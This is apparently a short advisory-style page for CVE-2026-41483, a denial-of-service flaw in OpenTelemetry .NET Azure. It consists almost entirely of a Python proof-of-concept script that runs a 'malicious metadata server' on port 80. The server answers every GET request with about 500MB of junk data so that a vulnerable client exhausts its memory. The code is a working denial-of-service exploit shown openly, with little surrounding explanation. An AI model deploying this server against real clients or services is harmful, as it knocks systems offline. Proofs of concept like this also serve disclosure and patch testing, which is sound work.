CVE-2026-41483 OpenTelemetry .NET Azure 拒绝服务漏洞

import http.server import socketserver # Simulated Malicious Metadata Server PoC # This script simulates a server that returns an extremely large response # to trigger the unbounded memory allocation in the vulnerable client. class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-Type', 'text/plain') # Send a large Content-Length or just stream data # Here we simulate a huge payload (e.g., 500MB) self.send_header('Content-Length', '500000000') self.end_headers() # Write garbage data to exhaust client memory # In a real scenario, this would be the attacker's payload chunk = b'A' * 1024 * 1024 # 1MB chunk for _ in range(500): self.wfile.write(chunk) if __name__ == "__main__": PORT = 80 with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd: print(f"Malicious server running at port {PORT}") httpd.serve_forever()